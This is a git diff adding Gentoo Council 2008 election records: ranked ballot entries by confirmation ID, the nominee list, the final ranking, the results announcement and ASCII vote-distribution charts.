+leio ulm welp lu_zero zlin Jokey hkBst
+peper Flameeyes
+jer astinus cardoe
+--------- confirmation 701c ---------
+dberkholz
+fmccor
+Halcy0n
+Flameeyes
+dertobi123 zlin Betelgeuse jer astinus
+ulm lu_zero peper
+--------- confirmation 715c ---------
+dberkholz Jokey Betelgeuse lu_zero cardoe Flameeyes Halcy0n
+dertobi123 jer
+astinus ulm dev-zero
+leio welp
+hkBst
+zlin ferdy peper fmccor
+--------- confirmation 7332 ---------
+dberkholz
+cardoe
+fmccor
+Flameeyes
+jer
+Jokey
+lu_zero
+ulm
+peper Halcy0n dev-zero Betelgeuse astinus dertobi123 hkBst ferdy welp leio
+zlin
+--------- confirmation 73c9 ---------
+dberkholz
+dertobi123
+lu_zero astinus cardoe
+Jokey welp Flameeyes ferdy
+Betelgeuse fmccor dev-zero leio jer Halcy0n
+peper ulm hkBst zlin
+--------- confirmation 745c ---------
+Flameeyes
+lu_zero Jokey Halcy0n dberkholz leio
+jer dev-zero Betelgeuse astinus
+dertobi123 hkBst ulm
+welp fmccor cardoe
+zlin ferdy peper
+--------- confirmation 0bc3 ---------
+Halcy0n
+Flameeyes
+Betelgeuse
+dberkholz
+welp
+cardoe
+hkBst dev-zero dertobi123 Jokey leio astinus lu_zero ferdy zlin peper fmccor jer ulm
+--------- confirmation 75f1 ---------
+dberkholz
+Halcy0n
+Jokey
+fmccor
+Flameeyes
+Betelgeuse
+lu_zero
+welp
+jer leio dev-zero cardoe dertobi123 hkBst ulm
+ferdy peper zlin astinus
+--------- confirmation 7770 ---------
+Halcy0n
+lu_zero dberkholz
+astinus Flameeyes
+Betelgeuse
+cardoe
+jer
+ulm
+leio
+dev-zero
+dertobi123
+Jokey
+welp
+hkBst ferdy peper fmccor zlin
+--------- confirmation 78d1 ---------
+zlin ferdy peper
+dertobi123
+fmccor
+dberkholz
+dev-zero
+Betelgeuse
+ulm
+cardoe
+hkBst
+leio
+Halcy0n
+Jokey
+Flameeyes
+welp
+jer
+lu_zero
+astinus
+--------- confirmation 7afb ---------
+Flameeyes Halcy0n cardoe Jokey welp jer leio dertobi123 fmccor dev-zero ulm lu_zero Betelgeuse dberkholz hkBst
+--------- confirmation 7d25 ---------
+dertobi123
+dev-zero
+cardoe
+ulm zlin jer lu_zero Betelgeuse ferdy welp peper fmccor hkBst dberkholz Flameeyes Jokey astinus leio Halcy0n
+--------- confirmation 7daf ---------
+Flameeyes
+lu_zero
+dev-zero
+dberkholz
+Jokey
+cardoe
+ferdy
+peper
+ulm
+jer
+hkBst
+dertobi123
+welp
+zlin
+astinus
+Halcy0n
+Betelgeuse
+leio
+fmccor
+--------- confirmation 7de4 ---------
+ferdy
+zlin
+peper
+dertobi123
+Betelgeuse
+dberkholz
+dev-zero
+hkBst
+ulm
+fmccor
+Jokey
+cardoe
+Halcy0n
+leio
+jer
+welp
+Flameeyes
+astinus
+lu_zero
+--------- confirmation 814a ---------
+ferdy
+peper dev-zero
+zlin
+dberkholz
+fmccor
+Betelgeuse dertobi123 ulm
+Jokey
+Halcy0n
+leio
+hkBst
+cardoe welp jer Flameeyes lu_zero
+--------- confirmation 81cd ---------
+dberkholz
+fmccor
+dertobi123
+Flameeyes
+lu_zero
+dev-zero
+cardoe
+Betelgeuse
+jer
+Jokey
+ferdy
+hkBst
+zlin
+ulm
+Halcy0n
+leio
+astinus
+welp
+peper
+--------- confirmation 833b ---------
+ferdy zlin dev-zero peper
+Halcy0n
+ulm
+fmccor
+lu_zero hkBst astinus dertobi123 leio
+Jokey dberkholz Betelgeuse
+welp Flameeyes jer cardoe
+--------- confirmation 842b ---------
+fmccor
+dberkholz
+Jokey
+Halcy0n
+lu_zero hkBst ferdy ulm astinus welp peper zlin dev-zero cardoe Betelgeuse dertobi123 leio jer Flameeyes
+--------- confirmation 8436 ---------
+Flameeyes
+dberkholz lu_zero fmccor
+dertobi123 Halcy0n cardoe dev-zero ferdy
+leio welp Jokey jer hkBst astinus ulm zlin
+Betelgeuse
+peper
+--------- confirmation 86bf ---------
+Halcy0n
+ulm
+hkBst
+dev-zero
+fmccor
+dberkholz
+jer
+leio
+Betelgeuse
+peper
+Flameeyes
+dertobi123
+lu_zero
+welp
+Jokey
+cardoe
+zlin ferdy
+--------- confirmation 873b ---------
+dberkholz
+Betelgeuse Jokey lu_zero
+fmccor dev-zero cardoe
+Flameeyes dertobi123
+hkBst
+zlin leio jer peper ferdy astinus welp ulm
+Halcy0n
+--------- confirmation 87e8 ---------
+ulm
+hkBst
+Jokey
+dertobi123
+Flameeyes
+dberkholz
+Betelgeuse
+jer
+Halcy0n
+lu_zero
+welp
+leio
+dev-zero
+astinus
+cardoe
+fmccor
+peper
+zlin
+ferdy
+--------- confirmation 8c63 ---------
+zlin Betelgeuse ulm fmccor hkBst dertobi123 jer dberkholz Halcy0n Flameeyes peper welp leio dev-zero Jokey cardoe lu_zero ferdy
+--------- confirmation 8d13 ---------
+Betelgeuse Flameeyes dberkholz lu_zero Jokey
+dev-zero dertobi123 hkBst
+Halcy0n jer astinus
+cardoe leio peper
+ferdy zlin fmccor welp ulm
+--------- confirmation 8e4a ---------
+dberkholz
+Flameeyes Betelgeuse Jokey dertobi123
+lu_zero ulm
+jer hkBst cardoe Halcy0n leio dev-zero
+welp
+fmccor
+zlin ferdy
+peper astinus
+--------- confirmation 90cb ---------
+lu_zero dberkholz welp
+cardoe dev-zero Flameeyes
+Jokey Betelgeuse
+Halcy0n
+jer
+peper
+leio ulm zlin fmccor hkBst dertobi123 astinus ferdy
+--------- confirmation 92b6 ---------
+Flameeyes
+dberkholz
+welp
+lu_zero
+cardoe
+peper
+Betelgeuse
+Jokey
+dev-zero
+Halcy0n
+jer
+dertobi123
+ulm
+--------- confirmation 954d ---------
+dberkholz Betelgeuse
+dev-zero jer hkBst Halcy0n welp zlin dertobi123 ulm peper ferdy fmccor lu_zero astinus Flameeyes cardoe Jokey leio
+--------- confirmation 9674 ---------
+dberkholz Jokey Betelgeuse Flameeyes Halcy0n lu_zero jer
+dertobi123 leio
+cardoe welp
+hkBst dev-zero
+ulm
+fmccor
+peper
+astinus
+zlin
+ferdy
+--------- confirmation 0f1b ---------
+Jokey dertobi123
+ulm Betelgeuse
+dberkholz
+fmccor
+Flameeyes
+lu_zero welp jer leio Halcy0n peper hkBst
+cardoe dev-zero zlin ferdy
+--------- confirmation 98ae ---------
+dberkholz Betelgeuse Jokey
+dertobi123 dev-zero cardoe fmccor
+astinus welp jer leio hkBst peper ferdy zlin Halcy0n
+lu_zero Flameeyes ulm
+--------- confirmation 99b3 ---------
+fmccor
+hkBst
+Betelgeuse
+dev-zero
+Halcy0n
+ferdy
+dertobi123
+zlin
+peper
+ulm
+dberkholz
+welp
+Jokey
+cardoe
+leio
+Flameeyes
+lu_zero
+jer
+astinus
+--------- confirmation 99d3 ---------
+Jokey
+dev-zero
+dertobi123
+Halcy0n
+leio
+dberkholz
+Flameeyes
+welp
+fmccor
+cardoe
+lu_zero
+Betelgeuse
+ulm
+hkBst
+astinus
+jer
+peper
+ferdy
+zlin
+--------- confirmation 9ba2 ---------
+Jokey welp
+dertobi123 hkBst dberkholz ulm zlin cardoe lu_zero jer dev-zero ferdy astinus peper Betelgeuse fmccor Halcy0n leio
+Flameeyes
+--------- confirmation 9d89 ---------
+dev-zero
+ferdy Betelgeuse
+Halcy0n
+dberkholz
+--------- confirmation 9d98 ---------
+hkBst
+ulm
+Halcy0n
+jer
+dberkholz
+Flameeyes
+Betelgeuse
+leio
+cardoe
+lu_zero
+dev-zero
+Jokey
+astinus
+fmccor
+ferdy
+dertobi123
+peper
+zlin
+welp
+--------- confirmation 9e54 ---------
+dev-zero
+dertobi123 Jokey
+Halcy0n Flameeyes
+fmccor dberkholz
+--------- confirmation 1023 ---------
+Betelgeuse
+dberkholz
+dev-zero
+dertobi123
+fmccor
+leio
+zlin welp jer cardoe Halcy0n ulm ferdy Flameeyes Jokey astinus lu_zero peper hkBst
+--------- confirmation a237 ---------
+zlin
+Halcy0n
+dertobi123
+Betelgeuse
+Jokey
+lu_zero
+astinus
+peper
+cardoe
+dberkholz
+Flameeyes
+dev-zero
+leio
+jer
+fmccor
+welp
+ulm
+hkBst
+ferdy
+--------- confirmation a2a8 ---------
+Betelgeuse
+dertobi123
+Flameeyes
+astinus
+dberkholz
+Halcy0n
+leio
+hkBst
+ulm
+dev-zero
+lu_zero
+jer
+welp
+cardoe
+Jokey
+fmccor
+ferdy
+peper
+zlin
+--------- confirmation a84e ---------
+fmccor dberkholz
+dev-zero
+ulm welp cardoe
+Flameeyes
+Jokey lu_zero
+dertobi123
+leio Halcy0n ferdy peper Betelgeuse hkBst zlin jer
+--------- confirmation a85e ---------
+Halcy0n dberkholz dertobi123 lu_zero
+Jokey astinus cardoe
+welp leio hkBst ulm
+Flameeyes
+Betelgeuse
+dev-zero
+jer
+peper
+ferdy zlin fmccor
+--------- confirmation a8e2 ---------
+zlin
+ferdy
+dev-zero
+hkBst
+fmccor
+peper
+dertobi123
+dberkholz
+welp
+ulm
+Betelgeuse
+Flameeyes Jokey cardoe leio astinus jer lu_zero Halcy0n
+--------- confirmation abeb ---------
+Flameeyes dberkholz Halcy0n fmccor
+cardoe Betelgeuse Jokey leio
+dertobi123 ulm welp
+hkBst jer dev-zero lu_zero ferdy peper zlin
+--------- confirmation adaf ---------
+Flameeyes Halcy0n lu_zero dberkholz welp
+ferdy zlin dev-zero fmccor astinus ulm cardoe Betelgeuse leio dertobi123 hkBst jer Jokey peper
+--------- confirmation adef ---------
+ulm Betelgeuse Jokey Flameeyes lu_zero dberkholz cardoe
+ferdy welp fmccor peper dertobi123
+dev-zero astinus leio hkBst zlin jer Halcy0n
+--------- confirmation af16 ---------
+Jokey
+welp dberkholz ferdy cardoe Betelgeuse jer lu_zero hkBst Flameeyes peper dertobi123 ulm astinus Halcy0n leio zlin fmccor dev-zero
+--------- confirmation b323 ---------
+dberkholz
+Halcy0n
+welp fmccor dev-zero leio Betelgeuse
+lu_zero Flameeyes cardoe hkBst
+jer Jokey
+dertobi123 peper ulm
+ferdy zlin
+--------- confirmation b47d ---------
+dertobi123
+fmccor
+lu_zero
+Jokey
+jer hkBst
+Betelgeuse
+Halcy0n
+dberkholz
+cardoe
+ulm
+welp
+astinus
+leio
+Flameeyes
+ferdy
+dev-zero zlin peper
+--------- confirmation b71c ---------
+dberkholz
+Flameeyes
+Halcy0n
+fmccor
+Jokey
+Betelgeuse
+cardoe
+zlin
+welp
+ulm
+--------- confirmation b842 ---------
+Flameeyes
+dberkholz
+Halcy0n
+cardoe
+jer
+--------- confirmation b96e ---------
+Flameeyes dberkholz
+dev-zero dertobi123
+Betelgeuse lu_zero Halcy0n leio
+cardoe jer welp
+fmccor ferdy
+peper Jokey astinus
+hkBst ulm zlin
+--------- confirmation 12ba ---------
+Jokey
+dberkholz
+jer Halcy0n
+ulm hkBst dertobi123 dev-zero
+cardoe
+lu_zero Betelgeuse Flameeyes
+leio fmccor
+welp
+peper ferdy zlin
+astinus
+--------- confirmation c18f ---------
+ulm dberkholz
+leio dertobi123 Betelgeuse
+hkBst dev-zero jer
+Flameeyes Jokey
+peper fmccor cardoe Halcy0n
+--------- confirmation c1a2 ---------
+cardoe ferdy jer leio lu_zero Flameeyes dberkholz
+Betelgeuse fmccor ulm
+zlin
+--------- confirmation c539 ---------
+peper
+ferdy zlin
+dev-zero dberkholz fmccor hkBst
+Betelgeuse dertobi123
+Halcy0n Jokey welp ulm
+cardoe Flameeyes astinus lu_zero leio jer
+--------- confirmation c62f ---------
+dberkholz
+Halcy0n
+jer
+leio
+Jokey lu_zero
+Flameeyes
+dev-zero
+cardoe
+Betelgeuse
+ulm
+welp
+dertobi123
+astinus
+hkBst
+peper
+zlin
+ferdy
+fmccor
+--------- confirmation c6ad ---------
+fmccor dertobi123 astinus Flameeyes jer lu_zero Halcy0n dberkholz Betelgeuse cardoe
+ferdy welp hkBst peper leio ulm dev-zero Jokey zlin
+--------- confirmation 14a7 ---------
+Flameeyes Betelgeuse
+cardoe Jokey lu_zero
+astinus dberkholz Halcy0n
+leio ulm dev-zero welp hkBst
+jer dertobi123 zlin fmccor ferdy peper
+--------- confirmation cf79 ---------
+fmccor
+dberkholz
+Halcy0n
+dertobi123 Jokey
+Flameeyes
+welp
+dev-zero
+ulm
+zlin
+lu_zero
+Betelgeuse
+cardoe
+hkBst
+leio
+jer
+peper
+ferdy
+astinus
+--------- confirmation 14c2 ---------
+dberkholz Halcy0n
+Flameeyes Jokey lu_zero Betelgeuse
+dev-zero leio dertobi123
+ferdy peper zlin cardoe
+astinus welp ulm fmccor hkBst jer
+--------- confirmation d063 ---------
+Flameeyes
+Betelgeuse
+dberkholz
+Jokey
+lu_zero
+Halcy0n
+cardoe
+astinus
+leio
+jer
+welp
+ulm
+hkBst
+fmccor
+peper
+dertobi123
+dev-zero
+ferdy
+zlin
+--------- confirmation d421 ---------
+Betelgeuse dberkholz lu_zero Halcy0n leio Flameeyes Jokey fmccor
+jer ulm cardoe dev-zero welp dertobi123 peper ferdy
+hkBst
+--------- confirmation d435 ---------
+Jokey zlin peper dberkholz
+Betelgeuse Halcy0n ferdy
+Flameeyes dertobi123
+hkBst ulm
+leio cardoe dev-zero fmccor
+welp jer astinus lu_zero
+--------- confirmation d48f ---------
+Flameeyes
+dberkholz
+Halcy0n
+lu_zero
+dertobi123
+cardoe
+jer
+hkBst
+--------- confirmation d582 ---------
+leio
+dberkholz
+cardoe
+lu_zero
+Flameeyes
+dertobi123
+--------- confirmation d5f4 ---------
+dberkholz
+cardoe
+Betelgeuse
+fmccor
+zlin
+lu_zero
+dertobi123 welp astinus ferdy jer Jokey peper ulm hkBst leio dev-zero
+Halcy0n
+Flameeyes
+--------- confirmation d7ae ---------
+zlin
+dberkholz
+Flameeyes fmccor ferdy hkBst Halcy0n
+dev-zero jer Betelgeuse
+dertobi123 welp lu_zero
+peper Jokey leio astinus cardoe ulm
+--------- confirmation d883 ---------
+Betelgeuse Flameeyes Halcy0n dberkholz dertobi123
+Jokey lu_zero dev-zero jer cardoe
+leio ulm
+welp hkBst
+zlin fmccor ferdy peper
+--------- confirmation d9a5 ---------
+dertobi123
+leio ulm Jokey dev-zero
+dberkholz
+lu_zero Flameeyes Betelgeuse
+Halcy0n
+jer welp astinus
+zlin
+fmccor
+hkBst peper cardoe ferdy
+--------- confirmation d9f3 ---------
+Flameeyes dberkholz
+cardoe lu_zero welp
+dev-zero leio fmccor
+dertobi123
+Halcy0n ferdy Betelgeuse
+Jokey
+ulm
+hkBst
+jer
+peper
+--------- confirmation dde9 ---------
+Halcy0n dberkholz leio Betelgeuse cardoe Flameeyes dev-zero
+ulm Jokey
+dertobi123 welp
+lu_zero
+jer fmccor
+peper zlin
+hkBst ferdy
+--------- confirmation e288 ---------
+ulm
+welp
+lu_zero
+dberkholz
+Halcy0n
+Jokey
+Flameeyes
+Betelgeuse
+cardoe
+jer
+dertobi123
+leio
+hkBst fmccor dev-zero
+ferdy zlin peper
+--------- confirmation e3d0 ---------
+dberkholz cardoe Betelgeuse Halcy0n dev-zero lu_zero astinus welp dertobi123
+leio ulm jer
+Flameeyes Jokey hkBst
+fmccor
+--------- confirmation e43c ---------
+Jokey
+hkBst
+lu_zero
+ferdy
+cardoe
+welp
+dberkholz
+dev-zero
+dertobi123
+peper
+jer
+ulm
+Betelgeuse
+Halcy0n
+leio
+astinus
+Flameeyes
+fmccor
+zlin
+--------- confirmation e4aa ---------
+dertobi123
+Flameeyes dberkholz Betelgeuse
+fmccor welp
+--------- confirmation e6ae ---------
+Betelgeuse
+fmccor
+cardoe Halcy0n astinus dertobi123 peper jer hkBst zlin dberkholz Flameeyes Jokey ferdy ulm dev-zero lu_zero leio welp
+--------- confirmation e858 ---------
+Betelgeuse dberkholz Flameeyes Jokey lu_zero dev-zero cardoe
+Halcy0n welp hkBst dertobi123 fmccor
+leio ulm
+zlin astinus jer peper
+ferdy
+--------- confirmation e917 ---------
+dberkholz
+Flameeyes
+lu_zero
+Betelgeuse
+ferdy
+dev-zero
+Jokey zlin astinus cardoe jer ulm dertobi123 fmccor welp Halcy0n leio hkBst
+peper
+--------- confirmation ea9c ---------
+ferdy
+zlin
+peper
+dertobi123
+Betelgeuse
+dberkholz
+Halcy0n
+ulm
+hkBst
+dev-zero
+fmccor
+Jokey
+cardoe
+leio
+welp
+jer
+Flameeyes
+astinus
+lu_zero
+--------- confirmation ec63 ---------
+dberkholz
+lu_zero
+Flameeyes
+Betelgeuse
+dertobi123
+astinus
+Halcy0n
+welp
+leio
+--------- confirmation f052 ---------
+leio
+dberkholz
+Halcy0n
+Flameeyes
+dertobi123
+Betelgeuse
+lu_zero dev-zero cardoe
+Jokey
+ulm
+peper
+welp
+jer
+fmccor
+hkBst
+ferdy zlin astinus
+--------- confirmation f144 ---------
+dberkholz
+dertobi123
+Jokey
+Halcy0n
+lu_zero
+Betelgeuse
+fmccor
+jer
+dev-zero
+hkBst
+--------- confirmation f255 ---------
+cardoe
+dberkholz
+leio lu_zero Flameeyes
+ulm dev-zero
+Jokey
+hkBst
+Betelgeuse
+Halcy0n
+astinus
+dertobi123
+welp
+jer fmccor ferdy peper zlin
+--------- confirmation f426 ---------
+Halcy0n
+dberkholz
+Flameeyes
+Jokey
+dertobi123
+lu_zero
+cardoe
+dev-zero
+--------- confirmation f481 ---------
+Flameeyes
+cardoe
+dberkholz
+dertobi123
+lu_zero
+welp
+leio
+Jokey
+fmccor
+astinus
+Betelgeuse
+hkBst
+Halcy0n
+ulm
+dev-zero
+zlin
+ferdy
+peper
+jer
+--------- confirmation f4b7 ---------
+dberkholz dertobi123
+Jokey Betelgeuse lu_zero
+ulm Halcy0n
+dev-zero
+leio Flameeyes welp jer
+hkBst
+astinus cardoe
+fmccor ferdy zlin peper
+--------- confirmation f532 ---------
+Halcy0n
+Betelgeuse
+Jokey
+dberkholz
+cardoe
+welp
+dev-zero
+--------- confirmation f62a ---------
+dberkholz
+Flameeyes
+lu_zero
+cardoe
+Jokey
+astinus
+Halcy0n
+welp
+leio
+hkBst
+dertobi123
+ulm
+Betelgeuse
+jer
+dev-zero
+fmccor
+zlin
+peper
+ferdy
+--------- confirmation f7aa ---------
+astinus
+fmccor
+dberkholz dev-zero lu_zero
+Betelgeuse
+jer Jokey ulm hkBst Halcy0n cardoe
+welp leio
+dertobi123 Flameeyes
+ferdy peper zlin
+--------- confirmation fca7 ---------
+zlin
+ferdy fmccor peper
+leio Betelgeuse
+dev-zero
+welp
+Halcy0n
+ulm
+Jokey
+lu_zero
+--------- confirmation fd45 ---------
+dberkholz
+leio
+lu_zero
+dertobi123
+cardoe
+Halcy0n
+Betelgeuse
+Jokey peper ulm hkBst jer dev-zero
+Flameeyes
+welp
+fmccor
+ferdy
+zlin
+astinus
+--------- confirmation fe43 ---------
+dberkholz Flameeyes Halcy0n
+astinus leio
+Betelgeuse cardoe
+dertobi123 fmccor hkBst jer lu_zero ulm welp
+dev-zero Jokey
+ferdy peper zlin
+--------- confirmation fe79 ---------
+dertobi123 hkBst
+zlin fmccor ulm welp dev-zero
+peper leio
+Betelgeuse
+Jokey
+Halcy0n
+lu_zero
+Flameeyes
+cardoe
+ferdy
+jer
+dberkholz
+astinus
+--------- confirmation fe84 ---------
+dberkholz fmccor
+Flameeyes ferdy Halcy0n leio
+lu_zero ulm peper Betelgeuse
+--------- confirmation 1f69 ---------
+dberkholz
+Jokey
+dertobi123
+Betelgeuse
+Halcy0n
+leio
+ulm
+lu_zero
+jer
+welp Flameeyes
+cardoe dev-zero fmccor hkBst
+astinus peper ferdy
+zlin
+--------- confirmation 2039 ---------
+dberkholz
+Flameeyes
+cardoe
+lu_zero
+jer
+Halcy0n
+dev-zero leio
+hkBst ulm Jokey dertobi123 peper
+welp
+astinus
+Betelgeuse
+zlin
+fmccor
+ferdy
+--------- confirmation 2057 ---------
+dertobi123
+cardoe
+Flameeyes
+welp dberkholz
+Betelgeuse Jokey jer peper ulm fmccor leio zlin Halcy0n dev-zero ferdy astinus hkBst lu_zero
+--------- confirmation 2265 ---------
+dev-zero
+Jokey
+welp
+Flameeyes
+--------- confirmation 23f8 ---------
+dberkholz dertobi123 Jokey Betelgeuse
+dev-zero hkBst Halcy0n Flameeyes astinus lu_zero
+jer leio ferdy peper welp ulm cardoe fmccor zlin
+--------- confirmation 2490 ---------
+dberkholz
+Flameeyes
+Betelgeuse
+hkBst cardoe jer dev-zero
+Halcy0n dertobi123 Jokey
+leio peper zlin ulm
+ferdy welp astinus fmccor lu_zero
+--------- confirmation 2546 ---------
+Flameeyes cardoe lu_zero fmccor dberkholz
+dev-zero Betelgeuse Halcy0n
+leio jer Jokey ulm hkBst
+welp peper dertobi123
+zlin
+astinus ferdy
+--------- confirmation 2575 ---------
+dberkholz
+Flameeyes
+Betelgeuse
+lu_zero
+Jokey
+Halcy0n
+fmccor
+dertobi123 dev-zero
+hkBst
+jer
+ulm leio
+astinus cardoe welp peper zlin ferdy
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008-nominees.xml b/xml/htdocs/proj/en/council/voting-logs/council-2008-nominees.xml
new file mode 100644
index 00000000..1bd3bdee
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008-nominees.xml
@@ -0,0 +1,67 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/council/voting-logs/council-2008-nominees.xml,v 1.26 2009/04/25 02:00:47 gentoofan23 Exp $ -->
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+  <title>Gentoo Council 2007/2008 Nominations</title>
+
+<author title="Election Official">
+  <mail link="antarus"/>
+</author>
+<author title="Election Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Election Official">
+  <mail link="rane"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+
+<date>2008-06-21</date>
+<version>24</version>
+
+<nominations from="2008-06-05" to="2008-06-18">
+  <nominee accepted="yes">astinus</nominee>
+  <nominee accepted="yes" council="yes" devrel="yes">Betelgeuse</nominee>
+  <nominee accepted="yes" >cardoe</nominee>
+  <nominee accepted="yes" council="yes">dberkholz</nominee>
+  <nominee accepted="yes" platform="nominees/2008/dertobi123.txt">dertobi123</nominee>
+  <nominee accepted="yes" platform="nominees/2008/dev-zero.txt">dev-zero</nominee>
+  <nominee accepted="yes">ferdy</nominee>
+  <nominee accepted="yes" council="yes">Flameeyes</nominee>
+  <nominee accepted="yes" platform="nominees/2008/fmccor.txt" devrel="yes" trustee="yes">fmccor</nominee>
+  <nominee accepted="yes" platform="nominees/2008/Halcy0n.txt">Halcy0n</nominee>
+  <nominee accepted="yes" platform="nominees/2008/hkBst.txt">hkBst</nominee>
+  <nominee accepted="yes">jer</nominee>
+  <nominee accepted="yes" council="yes">Jokey</nominee>
+  <nominee accepted="yes" platform="nominees/2008/leio.txt">leio</nominee>
+  <nominee accepted="yes" council="yes">lu_zero</nominee>
+  <nominee accepted="yes" >peper</nominee>
+  <nominee accepted="yes">ulm</nominee>
+  <nominee accepted="yes" platform="nominees/2008/welp.txt">welp</nominee>
+  <nominee accepted="yes">zlin</nominee>
+
+  <nominee > </nominee>
+
+  <nominee accepted="no">aballier</nominee>
+  <nominee accepted="no">agaffney</nominee>
+  <nominee accepted="no" council="yes">amne</nominee>
+  <nominee accepted="no">armin76</nominee>
+  <nominee accepted="no">Coldwind</nominee>
+  <nominee accepted="no">dirtyepic</nominee>
+  <nominee accepted="no">Ingmar</nominee>
+  <nominee accepted="no">KingTaco</nominee>
+  <nominee accepted="no" devrel="yes" trustee="yes">tsunam</nominee>
+  <nominee accepted="no" trustee="yes">NeddySeagoon</nominee>
+  <nominee accepted="no" >fauli</nominee>
+  <nominee accepted="no">rane</nominee>
+  <nominee accepted="no">robbat2</nominee>
+  <nominee accepted="no">solar</nominee>
+  <nominee accepted="no" council="yes" devrel="yes">vapier</nominee>
+  <nominee accepted="no" >wolf31o2</nominee>
+  <nominee accepted="no" >zmedico</nominee>
+</nominations>
+</election>
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008-rank.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008-rank.txt
new file mode 100644
index 00000000..12572613
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008-rank.txt
@@ -0,0 +1,18 @@
+dberkholz
+Halcy0n
+Flameeyes
+Betelgeuse
+lu_zero
+Jokey
+dertobi123
+cardoe
+dev-zero
+leio
+welp
+fmccor
+ulm
+jer
+hkBst
+astinus
+ferdy peper
+zlin
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008-results.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008-results.txt
new file mode 100644
index 00000000..0d2e1368
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008-results.txt
@@ -0,0 +1,52 @@
+Dear Gentoo Community,
+
+Here are your verified and long-awaited results.
+
+Gentoo Council for term 2008/2009 will be:
+
+Donnie Berkholz (dberkholz)
+Mark Loeser (Halcy0n)
+Diego Petteno (Flameeyes)
+Petteri Raty (Betelgeuse)
+Luca Barbato (lu_zero)
+Markus Ullmann (Jokey)
+Tobias Scherbaum (dertobi123)
+
+Congratulations and good luck.
+
+Full ranked list of candidates:
+
+dberkholz
+Halcy0n
+Flameeyes
+Betelgeuse
+lu_zero
+Jokey
+dertobi123
+cardoe
+dev-zero
+leio
+welp
+fmccor
+ulm
+jer
+hkBst
+astinus
+ferdy peper
+zlin
+
+This mail has the mastor ballot file attached to it. You were also
+mailed with your ID. You can use the file and the ID to verify that
+your vote was included in the master ballot file. If you didn't get
+your ID or you can't find your vote inside the ballot file, please
+contact election officials (rane, antarus, jmbsvicetto, fox2mike (@g.o
+or #gentoo-elections on freenode)).
+
+The turnout was (I think record) 57%. We received 143 valid votes and
+two invalid (two people who forgot to issue votify --submit).
+
+Thanks for all the votes and kind regards,
+
+For election officials,
+
+Lukasz Damentko
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008-vote-distribution.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008-vote-distribution.txt
new file mode 100644
index 00000000..d7a13b57
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008-vote-distribution.txt
@@ -0,0 +1,228 @@
+  dberkholz (1)
+|#         
+|#         
+|#         
+|#         
+|#         
+|#         
+|###       
+|###       
+|##########
++----------
+
+  Halcy0n (2)
+|          
+|          
+|          
+|          
+|#         
+|#  #      
+|####  #   
+|######### 
+|##########
++----------
+
+  Flameeyes (3)
+|          
+|          
+|#         
+|#         
+|#         
+|#         
+|#  # #  # 
+|######  # 
+|##########
++----------
+
+  Betelgeuse (4)
+|          
+|          
+|          
+|          
+|          
+|#         
+|#### #    
+|######### 
+|##########
++----------
+
+  lu_zero (5)
+|          
+|          
+|          
+|          
+|          
+|# #       
+|###  #  # 
+|#### #### 
+|##########
++----------
+
+  Jokey (6)
+|          
+|          
+|          
+|          
+|          
+|#    #    
+|###  # #  
+|######### 
+|##########
++----------
+
+  dertobi123 (7)
+|          
+|          
+|          
+|          
+|          
+|     #    
+|##   # #  
+|######### 
+|##########
++----------
+
+  cardoe (8)
+|          
+|          
+|          
+|          
+|          
+|          
+|# ## ## # 
+|######### 
+|##########
++----------
+
+  dev-zero (9)
+|          
+|          
+|          
+|          
+|          
+|      #   
+|# ## ###  
+|######### 
+|##########
++----------
+
+  leio (10)
+|          
+|          
+|          
+|          
+|          
+|      #   
+|     #### 
+|######### 
+|##########
++----------
+
+  welp (11)
+|          
+|          
+|          
+|          
+|     #    
+|     ## # 
+|  #  #### 
+|# # ##### 
+|##########
++----------
+
+  fmccor (12)
+|          
+|          
+|          
+|          
+|          
+|        # 
+|#    #### 
+|#### #####
+|##########
++----------
+
+  ulm (13)
+|          
+|          
+|          
+|          
+|          
+|     #  # 
+|    ##### 
+|# ####### 
+|##########
++----------
+
+  jer (14)
+|          
+|          
+|          
+|          
+|          
+|     #### 
+|     #### 
+|  ########
+|##########
++----------
+
+  hkBst (15)
+|          
+|          
+|          
+|          
+|          
+|     ## # 
+|     #### 
+|#  #######
+|##########
++----------
+
+  astinus (16)
+|          
+|          
+|          
+|        # 
+|        # 
+|        ##
+|     #####
+|     #####
+|##########
++----------
+
+  ferdy (17)
+|          
+|        # 
+|        # 
+|        # 
+|        # 
+|        # 
+|       ###
+|#    #####
+|##########
++----------
+
+  zlin (18)
+|          
+|          
+|        # 
+|        # 
+|        # 
+|       ###
+|      ####
+|#    #####
+|##########
++----------
+
+  peper (19)
+|          
+|          
+|        # 
+|        # 
+|        # 
+|        # 
+|      ####
+|     #####
+|##########
++----------
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2008b-master.txt b/xml/htdocs/proj/en/council/voting-logs/council-2008b-master.txt
new file mode 100644
index 00000000..5e7e0c06
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2008b-master.txt
@@ -0,0 +1,564 @@
+--------- confirmation 3070 ---------
+dev-zero
+ulm
+_reopen_nominations
+ssuominen
+jer
+leio
+--------- confirmation 32e9 ---------
+ssuominen
+leio
+_reopen_nominations
+dev-zero
+jer
+ulm
+--------- confirmation 3461 ---------
+ulm
+leio
+_reopen_nominations
+jer
+ssuominen
+dev-zero
+--------- confirmation 36c9 ---------
+leio
+jer
+_reopen_nominations
+ssuominen ulm dev-zero
+--------- confirmation 39e6 ---------
+dev-zero
+ulm
+_reopen_nominations
+ssuominen leio
+jer
+--------- confirmation 3c3f ---------
